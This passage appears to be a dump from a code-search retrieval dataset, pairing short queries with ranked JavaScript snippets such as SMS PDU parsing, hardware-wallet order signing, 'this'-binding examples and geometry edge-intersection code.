??? Correct this name\n start = start + 2;\n\n\n\n\n // length in decimals\n var sender_addressLength = HexToNum(PDUString.substr(start, 2));\n if (sender_addressLength % 2 != 0)\n {\n sender_addressLength += 1;\n }\n start = start + 2;\n\n\n\n\n var sender_typeOfAddress = PDUString.substr(start, 2);\n start = start + 2\n\n\n\n\n var sender_number = semiOctetToString(PDUString.substring(start, start + sender_addressLength));\n\n if ((sender_number.substr(sender_number.length - 1, 1) == 'F') || (sender_number.substr(sender_number.length - 1, 1) == 'f'))\n {\n sender_number = sender_number.substring(0, sender_number.length - 1);\n }\n if (sender_typeOfAddress == 91)\n {\n sender_number = \"+\" + sender_number;\n }\n start += sender_addressLength;\n\n\n\n\n var timeStamp = semiOctetToString(PDUString.substr(start, 14));\n\n // get date\t\n var year = timeStamp.substring(0, 2);\n var month = timeStamp.substring(2, 4);\n var day = timeStamp.substring(4, 6);\n var hours = timeStamp.substring(6, 8);\n var minutes = timeStamp.substring(8, 10);\n var seconds = timeStamp.substring(10, 12);\n var timezone = timeStamp.substring(12, 14);\n\n timeStamp = day + \"/\" + month + \"/\" + year + \" \" + hours + \":\" + minutes + \":\" + seconds + \" GMT +\" + timezone / 4;\n start += 14;\n\n\n\n\n var timeStamp2 = semiOctetToString(PDUString.substr(start, 14));\n\n // get date\t\n var year2 = timeStamp2.substring(0, 2);\n var month2 = timeStamp2.substring(2, 4);\n var day2 = timeStamp2.substring(4, 6);\n var hours2 = timeStamp2.substring(6, 8);\n var minutes2 = timeStamp2.substring(8, 10);\n var seconds2 = timeStamp2.substring(10, 12);\n var timezone2 = timeStamp.substring(12, 14);\n\n timeStamp2 = day2 + \"/\" + month2 + \"/\" + year2 + \" \" + hours2 + \":\" + minutes2 + \":\" + seconds2 + \" GMT +\" + timezone2 / 4;\n start += 14;\n\n\n\n\n var mStatus = PDUString.substr(start, 2);\n\n\n\n\n out += \"SMSC#\\n\" + SMSC_Number + \"\\nSender:\\n\" + sender_number + \"\\nMessage Ref#:\\n\" + MessageReference + \"\\nTimeStamp:\\n\" + timeStamp + \"\\nTimeStamp2:\\n\" + timeStamp2 + \"\\nStatus Byte: \" + mStatus;\n }\n\n return out;\n}", "title": "" }, { "docid": "35f2111c735e2bda98e7e72451cde97d", "score": "0.433602", "text": "function getSigByte() {\n self.programmer.spi(cmd, function (error, data) {\n if (error) { return callback(error); }\n response[set] = data[sigPos];\n set += 1;\n cmd[2] = set;\n if (set < sigLen) {\n getSigByte();\n } else {\n callback(null, response);\n }\n });\n }", "title": "" }, { "docid": "03a8bdf899b666ccc725b68238ebbef7", "score": "0.43317717", "text": "getCRY_02() { return 0n }", "title": "" }, { "docid": "87d3267d7e80c14b10940523f0f0af4f", "score": "0.43266693", "text": "starkSignOrder(path, sourceTokenAddress, sourceQuantization, destinationTokenAddress, destinationQuantization, sourceVault, destinationVault, amountSell, amountBuy, nonce, timestamp) {\n const sourceTokenAddressHex = maybeHexBuffer(sourceTokenAddress);\n const destinationTokenAddressHex = maybeHexBuffer(destinationTokenAddress);\n let paths = (0, _utils.splitPath)(path);\n let buffer = Buffer.alloc(1 + paths.length * 4 + 20 + 32 + 20 + 32 + 4 + 4 + 8 + 8 + 4 + 4, 0);\n let offset = 0;\n buffer[0] = paths.length;\n paths.forEach((element, index) => {\n buffer.writeUInt32BE(element, 1 + 4 * index);\n });\n offset = 1 + 4 * paths.length;\n\n if (sourceTokenAddressHex) {\n sourceTokenAddressHex.copy(buffer, offset);\n }\n\n offset += 20;\n Buffer.from(sourceQuantization.toString(16).padStart(64, \"0\"), \"hex\").copy(buffer, offset);\n offset += 32;\n\n if (destinationTokenAddressHex) {\n destinationTokenAddressHex.copy(buffer, offset);\n }\n\n offset += 20;\n Buffer.from(destinationQuantization.toString(16).padStart(64, \"0\"), \"hex\").copy(buffer, offset);\n offset += 32;\n buffer.writeUInt32BE(sourceVault, offset);\n offset += 4;\n buffer.writeUInt32BE(destinationVault, offset);\n offset += 4;\n Buffer.from(amountSell.toString(16).padStart(16, \"0\"), \"hex\").copy(buffer, offset);\n offset += 8;\n Buffer.from(amountBuy.toString(16).padStart(16, \"0\"), \"hex\").copy(buffer, offset);\n offset += 8;\n buffer.writeUInt32BE(nonce, offset);\n offset += 4;\n buffer.writeUInt32BE(timestamp, offset);\n return this.transport.send(0xf0, 0x04, 0x01, 0x00, buffer).then(response => {\n const r = response.slice(1, 1 + 32).toString(\"hex\");\n const s = response.slice(1 + 32, 1 + 32 + 32).toString(\"hex\");\n return {\n r,\n s\n };\n });\n }", "title": "" }, { "docid": "87d3267d7e80c14b10940523f0f0af4f", "score": "0.43266693", "text": "starkSignOrder(path, sourceTokenAddress, sourceQuantization, destinationTokenAddress, destinationQuantization, sourceVault, destinationVault, amountSell, amountBuy, nonce, timestamp) {\n const sourceTokenAddressHex = maybeHexBuffer(sourceTokenAddress);\n const destinationTokenAddressHex = maybeHexBuffer(destinationTokenAddress);\n let paths = (0, _utils.splitPath)(path);\n let buffer = Buffer.alloc(1 + paths.length * 4 + 20 + 32 + 20 + 32 + 4 + 4 + 8 + 8 + 4 + 4, 0);\n let offset = 0;\n buffer[0] = paths.length;\n paths.forEach((element, index) => {\n buffer.writeUInt32BE(element, 1 + 4 * index);\n });\n offset = 1 + 4 * paths.length;\n\n if (sourceTokenAddressHex) {\n sourceTokenAddressHex.copy(buffer, offset);\n }\n\n offset += 20;\n Buffer.from(sourceQuantization.toString(16).padStart(64, \"0\"), \"hex\").copy(buffer, offset);\n offset += 32;\n\n if (destinationTokenAddressHex) {\n destinationTokenAddressHex.copy(buffer, offset);\n }\n\n offset += 20;\n Buffer.from(destinationQuantization.toString(16).padStart(64, \"0\"), \"hex\").copy(buffer, offset);\n offset += 32;\n buffer.writeUInt32BE(sourceVault, offset);\n offset += 4;\n buffer.writeUInt32BE(destinationVault, offset);\n offset += 4;\n Buffer.from(amountSell.toString(16).padStart(16, \"0\"), \"hex\").copy(buffer, offset);\n offset += 8;\n Buffer.from(amountBuy.toString(16).padStart(16, \"0\"), \"hex\").copy(buffer, offset);\n offset += 8;\n buffer.writeUInt32BE(nonce, offset);\n offset += 4;\n buffer.writeUInt32BE(timestamp, offset);\n return this.transport.send(0xf0, 0x04, 0x01, 0x00, buffer).then(response => {\n const r = response.slice(1, 1 + 32).toString(\"hex\");\n const s = response.slice(1 + 32, 1 + 32 + 32).toString(\"hex\");\n return {\n r,\n s\n };\n });\n }", "title": "" }, { "docid": "87d3267d7e80c14b10940523f0f0af4f", "score": "0.43266693", "text": "starkSignOrder(path, sourceTokenAddress, sourceQuantization, destinationTokenAddress, destinationQuantization, sourceVault, destinationVault, amountSell, amountBuy, nonce, timestamp) {\n const sourceTokenAddressHex = maybeHexBuffer(sourceTokenAddress);\n const destinationTokenAddressHex = maybeHexBuffer(destinationTokenAddress);\n let paths = (0, _utils.splitPath)(path);\n let buffer = Buffer.alloc(1 + paths.length * 4 + 20 + 32 + 20 + 32 + 4 + 4 + 8 + 8 + 4 + 4, 0);\n let offset = 0;\n buffer[0] = paths.length;\n paths.forEach((element, index) => {\n buffer.writeUInt32BE(element, 1 + 4 * index);\n });\n offset = 1 + 4 * paths.length;\n\n if (sourceTokenAddressHex) {\n sourceTokenAddressHex.copy(buffer, offset);\n }\n\n offset += 20;\n Buffer.from(sourceQuantization.toString(16).padStart(64, \"0\"), \"hex\").copy(buffer, offset);\n offset += 32;\n\n if (destinationTokenAddressHex) {\n destinationTokenAddressHex.copy(buffer, offset);\n }\n\n offset += 20;\n Buffer.from(destinationQuantization.toString(16).padStart(64, \"0\"), \"hex\").copy(buffer, offset);\n offset += 32;\n buffer.writeUInt32BE(sourceVault, offset);\n offset += 4;\n buffer.writeUInt32BE(destinationVault, offset);\n offset += 4;\n Buffer.from(amountSell.toString(16).padStart(16, \"0\"), \"hex\").copy(buffer, offset);\n offset += 8;\n Buffer.from(amountBuy.toString(16).padStart(16, \"0\"), \"hex\").copy(buffer, offset);\n offset += 8;\n buffer.writeUInt32BE(nonce, offset);\n offset += 4;\n buffer.writeUInt32BE(timestamp, offset);\n return this.transport.send(0xf0, 0x04, 0x01, 0x00, buffer).then(response => {\n const r = response.slice(1, 1 + 32).toString(\"hex\");\n const s = response.slice(1 + 32, 1 + 32 + 32).toString(\"hex\");\n return {\n r,\n s\n };\n });\n }", "title": "" } ]
38577d54f2b7c3e7ae3690c9803578e6
(public) this / a
[ { "docid": "43c36a8e2b29b6447c79000463b409d9", "score": "0.0", "text": "function bnDivide(a) { var r = nbi(); this.divRemTo(a,r,null); return r; }", "title": "" } ]
[ { "docid": "d0e09c5cb217bb19d492c329a624ff6d", "score": "0.7761875", "text": "get a() {\n\t\treturn this._a_;\n\t}", "title": "" }, { "docid": "44c5632b6ca78adf45a6367968fd4c35", "score": "0.7710586", "text": "get a() {\n return this._a_;\n }", "title": "" }, { "docid": "44c5632b6ca78adf45a6367968fd4c35", "score": "0.7710586", "text": "get a() {\n return this._a_;\n }", "title": "" }, { "docid": "53dd72b7afa626bfc08e71932826375a", "score": "0.76960355", "text": "get a() {\r\n return this._a_;\r\n }", "title": "" }, { "docid": "d42f66f04df35ef5ac411a70bb8a80ab", "score": "0.7507692", "text": "get a() {\n return this._a_;\n }", "title": "" }, { "docid": "3b0372696536905df84ff1e428f52e82", "score": "0.74306744", "text": "function a(x) {\n\tthis.m = x;\n\tthis;\n }", "title": "" }, { "docid": "5553d43a88097f7679c25f269d1826e5", "score": "0.71074307", "text": "function a(a){this._value=a}", "title": "" }, { "docid": "5553d43a88097f7679c25f269d1826e5", "score": "0.71074307", "text": "function a(a){this._value=a}", "title": "" }, { "docid": "2c1b4902653712192d41decb66478de2", "score": "0.7086824", "text": "function M(){this.a={}}", "title": "" }, { "docid": "2c1b4902653712192d41decb66478de2", "score": "0.7086824", "text": "function M(){this.a={}}", "title": "" }, { "docid": "2c1b4902653712192d41decb66478de2", "score": "0.7086824", "text": "function M(){this.a={}}", "title": "" }, { "docid": "d17a6719a1ef080075b2f573fa8f9c24", "score": "0.7050244", "text": "function w(){this.a={}}", "title": "" }, { "docid": "3ba1e9b0018d9a201e4e1ea35383b54b", "score": "0.6874618", "text": "function A(){q.call(this)}", "title": "" }, { "docid": "3ba1e9b0018d9a201e4e1ea35383b54b", "score": "0.6874618", "text": "function A(){q.call(this)}", "title": "" }, { "docid": "2a1680bb7d1b9a52f33da80a0b06be76", "score": "0.68712354", "text": "function P(){this.a={}}", "title": "" }, { "docid": "7160a95a46593952a480116351bb0a5d", "score": "0.6860854", "text": "get a() {}", "title": "" }, { "docid": "a2a8ae439dc2afa6c044f7055c5dae4e", "score": "0.6825956", "text": "function x(){this.a={}}", "title": "" }, { "docid": "7c78a1b384fb79c25108f96bfd89e2ab", "score": "0.68120414", "text": "function whatsThis(){return this.a;}", "title": "" }, { "docid": "1ebdf01ccd03e28ee5c60d94c99ae92b", "score": "0.68061733", "text": "function G(){this.a={}}", "title": "" }, { "docid": "274e3c643853c4baf0233fca895b76a2", "score": "0.67958516", "text": "ap (_) { \n return this\n }", "title": "" }, { "docid": "b50c36d093c1561a050d2b5725029771", "score": "0.6761211", "text": "function B(a){this.yl=a}", "title": "" }, { "docid": "18f785865eba71d8876964c99b0d8ab5", "score": "0.6753199", "text": "function a(){\n\t\tconsole.log(this);\n\t}", "title": "" }, { "docid": "d2b3d21208c8e5ccee9d884d11b9a5ad", "score": "0.6745192", "text": "function Va(a){this.b=a}", "title": "" }, { "docid": "213a48b5a7c511e3b632f5d07e105460", "score": "0.67434436", "text": "set a(val) {\n\t\tthis._a_ = val;\n\t}", "title": "" }, { "docid": "47ab2e9add6ac76f63f4f71132f97c8a", "score": "0.67408615", "text": "function A(){t.call(this)}", "title": "" }, { "docid": "b7e892f1038d6927db9bb29cb34761ce", "score": "0.66912264", "text": "function Q(){this.a={}}", "title": "" }, { "docid": "e26922c29d5b232c8483dbbf6ff7d4c9", "score": "0.66822284", "text": "function A(){\r\n\t\tvar obj = this instanceof A ?\r\n\t\t\tthis\r\n\t\t\t: { __proto__: A.prototype }\r\n\t\tobj.x = 1\r\n\t\tobj.y = 2\r\n\t\treturn obj\r\n\t}", "title": "" }, { "docid": "3d18695abbbebd256fdc3b1fe4a1ffd9", "score": "0.6680331", "text": "function ah(){this.b=null;this.a=[]}", "title": "" }, { "docid": "7a828f4cd93bbd46ddfb4ed4dbe11228", "score": "0.6679933", "text": "function A(){r.apply(this)}", "title": "" }, { "docid": "52d67591677ddad68ef679d60ad094f4", "score": "0.6668514", "text": "set a(val) {\n\t\tthis._a = val;\n\t}", "title": "" }, { "docid": "61a533299ceb3f006626aeb396f93d98", "score": "0.6659661", "text": "function a(e){if(!(this instanceof a))return new a(e);this._wrapped=e}", "title": "" }, { "docid": "30f49bb3178bed6297bccb504323a6b1", "score": "0.6648198", "text": "function a(){e.call(this)}", "title": "" }, { "docid": "753b4f55760b68f46665e9adcda632ce", "score": "0.6641524", "text": "function func(a) {\r\n this.a = a;\r\n this.getA = function() {\r\n return this.a;\r\n }\r\n}", "title": "" }, { "docid": "cb972a890abe65a33a634d0e752b9a26", "score": "0.6612623", "text": "function foo() {\r\n console.log(this.a);\r\n}", "title": "" }, { "docid": "cb972a890abe65a33a634d0e752b9a26", "score": "0.6612623", "text": "function foo() {\r\n console.log(this.a);\r\n}", "title": "" }, { "docid": "42c382d0946cac50fe4966801eb42dec", "score": "0.6585903", "text": "function foo() {\r\n console.log(this.a);\r\n}", "title": "" }, { "docid": "42c382d0946cac50fe4966801eb42dec", "score": "0.6585903", "text": "function foo() {\r\n console.log(this.a);\r\n}", "title": "" }, { "docid": "42c382d0946cac50fe4966801eb42dec", "score": "0.6585903", "text": "function foo() {\r\n console.log(this.a);\r\n}", "title": "" }, { "docid": "42c382d0946cac50fe4966801eb42dec", "score": "0.6585903", "text": "function foo() {\r\n console.log(this.a);\r\n}", "title": "" }, { "docid": "42c382d0946cac50fe4966801eb42dec", "score": "0.6585903", "text": "function foo() {\r\n console.log(this.a);\r\n}", "title": "" }, { "docid": "3735c2b18b6451f98134ec5f546efc61", "score": "0.6581579", "text": "function N(){this.a={}}", "title": "" }, { "docid": "3735c2b18b6451f98134ec5f546efc61", "score": "0.6581579", "text": "function N(){this.a={}}", "title": "" }, { "docid": "590d8d10f59ff0ad82ecaec79a7d38fb", "score": "0.6580606", "text": "function f() {\n return this.a;\n }", "title": "" }, { "docid": "0f7cd59fc52b785b263b63dcf8461454", "score": "0.6537367", "text": "function foo() {\r\n\tconsole.log(this.a);\r\n}", "title": "" }, { "docid": "a97dea5f700537bb3d8be900b9ef46fb", "score": "0.65327144", "text": "function foo () {\n console.log(this.a);\n}", "title": "" }, { "docid": "c447d6f7d4a37e777d3bce7b51206420", "score": "0.6519403", "text": "function L(){A.call(this)}", "title": "" }, { "docid": "90ed441646edda3fad6ab81a4def06d4", "score": "0.65092325", "text": "function lh(a){this.o=a}", "title": "" }, { "docid": "4ffd558823da708b8ba0231a0b1bbdc8", "score": "0.6491355", "text": "function A(e,t){this.x=t,this.q=e}", "title": "" }, { "docid": "621c4cc10e8dcebf94c13cc250c7bb12", "score": "0.6487609", "text": "function A(){\r\n\t\tthis.x = 1\r\n\t\tthis.y = 2\r\n\t}", "title": "" }, { "docid": "8fc970236a44f6100917976de0d12d14", "score": "0.6487445", "text": "function foo() {\n\tconsole.log( this.a );\n}", "title": "" }, { "docid": "8fc970236a44f6100917976de0d12d14", "score": "0.6487445", "text": "function foo() {\n\tconsole.log( this.a );\n}", "title": "" }, { "docid": "8fc970236a44f6100917976de0d12d14", "score": "0.6487445", "text": "function foo() {\n\tconsole.log( this.a );\n}", "title": "" }, { "docid": "ba19a62ca908e3796f4175257885d906", "score": "0.6466777", "text": "function f(){\n return this.a;\n}", "title": "" }, { "docid": "79249f67e15afcc674d7f52d57da4a34", "score": "0.64644057", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.6464236", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.6464236", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.6464236", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.6464236", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.6464236", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.6464236", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.6464236", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.6464236", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "6936cbb311276ad8f030314c0cfc40bc", "score": "0.6463636", "text": "constructor(a, b) {\n // this => related/called by current class\n this.a = a\n this.b = b\n this.sum = a + b\n }", "title": "" }, { "docid": "c92a9fa6611088c8b61ba5965a673e5b", "score": "0.64634866", "text": "function foo() {\n console.log(this.a)\n}", "title": "" }, { "docid": "c92a9fa6611088c8b61ba5965a673e5b", "score": "0.64634866", "text": "function foo() {\n console.log(this.a)\n}", "title": "" }, { "docid": "d2c55da7522e639426d37ea32f1dee6c", "score": "0.6443138", "text": "function Ai(a){this.j=a}", "title": "" }, { "docid": "9c401184dcdc98bacf640740ac532d4d", "score": "0.64420223", "text": "function a() {\n console.log(this);\n}", "title": "" }, { "docid": "9c401184dcdc98bacf640740ac532d4d", "score": "0.64420223", "text": "function a() {\n console.log(this);\n}", "title": "" }, { "docid": "1bf8c436e81ebe9d3809a1b7b5442982", "score": "0.64411306", "text": "function a(t,e){if(!t)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!e||\"object\"!==typeof e&&\"function\"!==typeof e?t:e}", "title": "" }, { "docid": "1bf8c436e81ebe9d3809a1b7b5442982", "score": "0.64411306", "text": "function a(t,e){if(!t)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!e||\"object\"!==typeof e&&\"function\"!==typeof e?t:e}", "title": "" }, { "docid": "54a567cd5d5d1802bc919cf657b37d3b", "score": "0.64237225", "text": "function foo() {\n console.log( this.a );\n}", "title": "" }, { "docid": "54a567cd5d5d1802bc919cf657b37d3b", "score": "0.64237225", "text": "function foo() {\n console.log( this.a );\n}", "title": "" }, { "docid": "5e5c9433af57f3fb834681008347755b", "score": "0.64215964", "text": "function $(){this.a={}}", "title": "" }, { "docid": "5e5c9433af57f3fb834681008347755b", "score": "0.64215964", "text": "function $(){this.a={}}", "title": "" }, { "docid": "a9b3b88e4d653728c42d961ff5568846", "score": "0.6417178", "text": "function a(t,e){if(!t)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!e||\"object\"!=typeof e&&\"function\"!=typeof e?t:e}", "title": "" }, { "docid": "a9b3b88e4d653728c42d961ff5568846", "score": "0.6417178", "text": "function a(t,e){if(!t)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!e||\"object\"!=typeof e&&\"function\"!=typeof e?t:e}", "title": "" }, { "docid": "a9b3b88e4d653728c42d961ff5568846", "score": "0.6417178", "text": "function a(t,e){if(!t)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!e||\"object\"!=typeof e&&\"function\"!=typeof e?t:e}", "title": "" }, { "docid": "a9b3b88e4d653728c42d961ff5568846", "score": "0.6417178", "text": "function a(t,e){if(!t)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!e||\"object\"!=typeof e&&\"function\"!=typeof e?t:e}", "title": "" }, { "docid": "a9b3b88e4d653728c42d961ff5568846", "score": "0.6417178", "text": "function a(t,e){if(!t)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!e||\"object\"!=typeof e&&\"function\"!=typeof e?t:e}", "title": "" }, { "docid": "a9b3b88e4d653728c42d961ff5568846", "score": "0.6417178", "text": "function a(t,e){if(!t)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!e||\"object\"!=typeof e&&\"function\"!=typeof e?t:e}", "title": "" }, { "docid": "15f446069065a24fa93e2ba573d12042", "score": "0.6414099", "text": "function foo(a) {\r\n this.a = a;\r\n}", "title": "" }, { "docid": "59554db2ac8673f82037a12ea8f6e193", "score": "0.64073265", "text": "function f() {\n return this.a;\n}", "title": "" }, { "docid": "d29ddb4cd4931493fac8dea5b172365c", "score": "0.6399519", "text": "function Of(a){var b=Pf;this.ed=[];this.$e=b;this.Ae=a||null;this.ac=this.yb=!1;this.ja=void 0;this.ae=this.gg=this.qd=!1;this.gd=0;this.F=null;this.rd=0}", "title": "" }, { "docid": "710c202cae8ffb5eb6f28d95a6f7774b", "score": "0.6388742", "text": "function foo(something) {\n\tthis.a = something;\n}", "title": "" }, { "docid": "6e5e0c897f74ad59ac1fe69fbfdcda17", "score": "0.63539904", "text": "function foo1 () {\n\tconsole.log(this.a);\n}", "title": "" }, { "docid": "732aab070cf175be0f9b922a40a10d7b", "score": "0.63426566", "text": "function Re(a){this.h=null;this.Ca=new fd(0,25);this.ka(a)}", "title": "" }, { "docid": "b31459693d53f3c56ec5aadec14df2fc", "score": "0.6340452", "text": "set a(val) {\r\n this._a_ = val * 2;\r\n }", "title": "" }, { "docid": "3dd027c34ddc3ffc5bfc129cadbc751c", "score": "0.63402116", "text": "function Ea(a) {\n this.b = a;\n this.a = 0\n }", "title": "" }, { "docid": "8e306d30f83a73481ed0c2f850a14ece", "score": "0.6334867", "text": "function As(a){var b=Bs;this.Wk=[];this.Sp=b;this.No=a||null;this.Ji=this.Xg=!1;this.Ne=void 0;this.zn=this.cr=this.Vl=!1;this.ul=0;this.Yb=null;this.Wl=0}", "title": "" }, { "docid": "11029b57ed5f1e1b4b9ccfc8665f44bd", "score": "0.62937826", "text": "function foob(something) {\r\n console.log(this.a, something);\r\n // return this.a + something; // for the sake of the call vs apply difference, not needed here\r\n}", "title": "" }, { "docid": "f17ba207ee231469c0b0f086e71a5136", "score": "0.62819254", "text": "function foo(a) {\n this.a = a;\n}", "title": "" }, { "docid": "e3527e234e850869f2bc752699c6eb19", "score": "0.62630695", "text": "function Foo(a) {\n this.a = a;\n }", "title": "" }, { "docid": "44e1c1e0c866384f601dbc0fe234b852", "score": "0.6249764", "text": "function foo(something) {\n this.a = something;\n}", "title": "" }, { "docid": "44e1c1e0c866384f601dbc0fe234b852", "score": "0.6249764", "text": "function foo(something) {\n this.a = something;\n}", "title": "" }, { "docid": "652c9bc364215b3e4b42197cc6dc0ef0", "score": "0.6242092", "text": "set a(val) {\n this._a_ = val * 2;\n }", "title": "" }, { "docid": "652c9bc364215b3e4b42197cc6dc0ef0", "score": "0.6242092", "text": "set a(val) {\n this._a_ = val * 2;\n }", "title": "" }, { "docid": "9b8a5a5aa76f523a68ab5fc9a1e6e77a", "score": "0.6239566", "text": "function foo2() {\n\tconsole.log( this.a );\n}", "title": "" }, { "docid": "ea3b1e91b482816b72ec9e3b5e418209", "score": "0.6236938", "text": "function qd(a){this.pa={};this.o=a}", "title": "" }, { "docid": "0d0b1cf358411ce9d41a75edb64a9ba5", "score": "0.6236505", "text": "function a(){\n console.log(\"a:this\" + this.x);\n}", "title": "" }, { "docid": "c670a1bba0b17ee86ed2f3ec7587b4dc", "score": "0.623314", "text": "function b(){s.call(this)}", "title": "" }, { "docid": "330d8e57bafffa6d105a90f15eb55f83", "score": "0.62321734", "text": "function a(e,t){if(!e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!t||\"object\"!=typeof t&&\"function\"!=typeof t?e:t}", "title": "" } ]
3077604de2dd14d2cdfa8a826d8f6428
if a or b is colinear the correct points will already have been added to the edge by handleNewEdge segment starts/ends on edge/edge intersection
[ { "docid": "693d37726c189f215609c93d315dd9ac", "score": "0.70503515", "text": "function handleAB(a, b, face, face2, thisPlane, face2Plane, thisBrep, face2Brep, first, thisEdgePoints) {\n if (!a.colinear && a.edgeT != a.edge.aT && a.edgeT != a.edge.bT) {\n //if (!hasPair(a.edge.getCanon(), b.edge.getCanon())) {\n addPair(a.edge.getCanon(), b.edge.getCanon());\n // ends on a, on colinear segment b bT != a.edge.bT &&\n // b can be colinear, so edgeT == aT is possible\n if (a.p.like(b.edge.a) || a.p.like(b.edge.b)) {\n const corner = a.p.like(b.edge.a) ? b.edge.a : b.edge.b;\n // face2brep corner on edge\n const sVEC1 = splitsVolumeEnclosingCone2$$1(face2Brep, corner, a.edge.curve, a.edgeT, 1);\n const sVEC2 = splitsVolumeEnclosingCone2$$1(face2Brep, corner, a.edge.curve, a.edgeT, -1);\n // if either of these return ALONG_EDGE_OR_PLANE, then the breps share a colinear edge\n if (INSIDE$$1 == sVEC1 || INSIDE$$1 == sVEC2) {\n mapPush(thisEdgePoints, a.edge.getCanon(), a);\n assert(a.edge.isValidT(a.edgeT));\n }\n }\n else {\n // edge / edge center intersection\n // todo: is this even necessary considering we add edges anyway? i think so...\n // const testVector =\n // a.edge.tangentAt(a.edgeT).rejectedFrom(b.edge.tangentAt(b.edge.curve.pointT(a.p)))\n // assert(!testVector.likeO())\n const sVEF1 = splitsVolumeEnclosingFacesP2$$1(face2Brep, b.edge.getCanon(), a.p, a.edge.curve, a.edgeT, 1, thisPlane.normalP(a.p));\n const sVEF2 = splitsVolumeEnclosingFacesP2$$1(face2Brep, b.edge.getCanon(), a.p, a.edge.curve, a.edgeT, -1, thisPlane.normalP(a.p));\n if (INSIDE$$1 == sVEF1 ||\n (first && COPLANAR_SAME$$1 == sVEF1) ||\n INSIDE$$1 == sVEF2 ||\n (first && COPLANAR_SAME$$1 == sVEF2)) {\n mapPush(thisEdgePoints, a.edge.getCanon(), a);\n assert(a.edge.isValidT(a.edgeT));\n }\n }\n //}\n }\n }", "title": "" } ]
[ { "docid": "749661e6fb3b106778b1eae636417d97", "score": "0.8104438", "text": "function handleEndPoint(a, b, newEdge) {\n // ends in the middle of b's face\n if (a && !b) {\n if (!a.colinear && a.edgeT != a.edge.aT && a.edgeT != a.edge.bT) {\n mapPush(thisEdgePoints, a.edge.getCanon(), a);\n assert(a.edge.isValidT(a.edgeT));\n }\n // else colinear segment ends in middle of other face, do nothing\n }\n // ends in the middle of a's face\n if (b && !a) {\n if (!b.colinear && b.edgeT != b.edge.aT && b.edgeT != b.edge.bT) {\n mapPush(otherEdgePoints, b.edge.getCanon(), b);\n assert(b.edge.isValidT(b.edgeT));\n }\n // else colinear segment ends in middle of other face, do nothing\n }\n if (a && b) {\n assert(a.colinear || b.colinear || eq(a.t, b.t));\n // if a or b is colinear the correct points will already have been added to the edge by handleNewEdge\n // segment starts/ends on edge/edge intersection\n function handleAB(a, b, face, face2, thisPlane, face2Plane, thisBrep, face2Brep, first, thisEdgePoints) {\n if (!a.colinear && a.edgeT != a.edge.aT && a.edgeT != a.edge.bT) {\n //if (!hasPair(a.edge.getCanon(), b.edge.getCanon())) {\n addPair(a.edge.getCanon(), b.edge.getCanon());\n // ends on a, on colinear segment b bT != a.edge.bT &&\n // b can be colinear, so edgeT == aT is possible\n if (a.p.like(b.edge.a) || a.p.like(b.edge.b)) {\n const corner = a.p.like(b.edge.a) ? b.edge.a : b.edge.b;\n // face2brep corner on edge\n const sVEC1 = splitsVolumeEnclosingCone2$$1(face2Brep, corner, a.edge.curve, a.edgeT, 1);\n const sVEC2 = splitsVolumeEnclosingCone2$$1(face2Brep, corner, a.edge.curve, a.edgeT, -1);\n // if either of these return ALONG_EDGE_OR_PLANE, then the breps share a colinear edge\n if (INSIDE$$1 == sVEC1 || INSIDE$$1 == sVEC2) {\n mapPush(thisEdgePoints, a.edge.getCanon(), a);\n assert(a.edge.isValidT(a.edgeT));\n }\n }\n else {\n // edge / edge center intersection\n // todo: is this even necessary considering we add edges anyway? i think so...\n // const testVector =\n // a.edge.tangentAt(a.edgeT).rejectedFrom(b.edge.tangentAt(b.edge.curve.pointT(a.p)))\n // assert(!testVector.likeO())\n const sVEF1 = splitsVolumeEnclosingFacesP2$$1(face2Brep, b.edge.getCanon(), a.p, a.edge.curve, a.edgeT, 1, thisPlane.normalP(a.p));\n const sVEF2 = splitsVolumeEnclosingFacesP2$$1(face2Brep, b.edge.getCanon(), a.p, a.edge.curve, a.edgeT, -1, thisPlane.normalP(a.p));\n if (INSIDE$$1 == sVEF1 ||\n (first && COPLANAR_SAME$$1 == sVEF1) ||\n INSIDE$$1 == sVEF2 ||\n (first && COPLANAR_SAME$$1 == sVEF2)) {\n mapPush(thisEdgePoints, a.edge.getCanon(), a);\n assert(a.edge.isValidT(a.edgeT));\n }\n }\n //}\n }\n }\n handleAB(a, b, face, face2, surface, surface2, thisBrep, face2Brep, true, thisEdgePoints);\n handleAB(b, a, face2, face, surface2, surface, face2Brep, thisBrep, false, otherEdgePoints);\n }\n }", "title": "" }, { "docid": "46d4725ab6702ef19cd34c7f3b07ebf8", "score": "0.62603116", "text": "edgeIntersection() {\n if (this.position.x > width) {\n this.position.x = 0;\n } else if (this.position.x < 0) {\n this.position.x = width;\n }\n if (this.position.y > height) {\n this.position.y = 0;\n } else if (this.position.y < 0) {\n this.position.y = height;\n }\n }", "title": "" }, { "docid": "0c8a092b53380c6a3755cdc9ff737ed1", "score": "0.60347974", "text": "function edge(a, b) {\n if (a.row > b.row) {\n var t = a;a = b;b = t;\n }\n return {\n x0: a.column,\n y0: a.row,\n x1: b.column,\n y1: b.row,\n dx: b.column - a.column,\n dy: b.row - a.row\n };\n }", "title": "" }, { "docid": 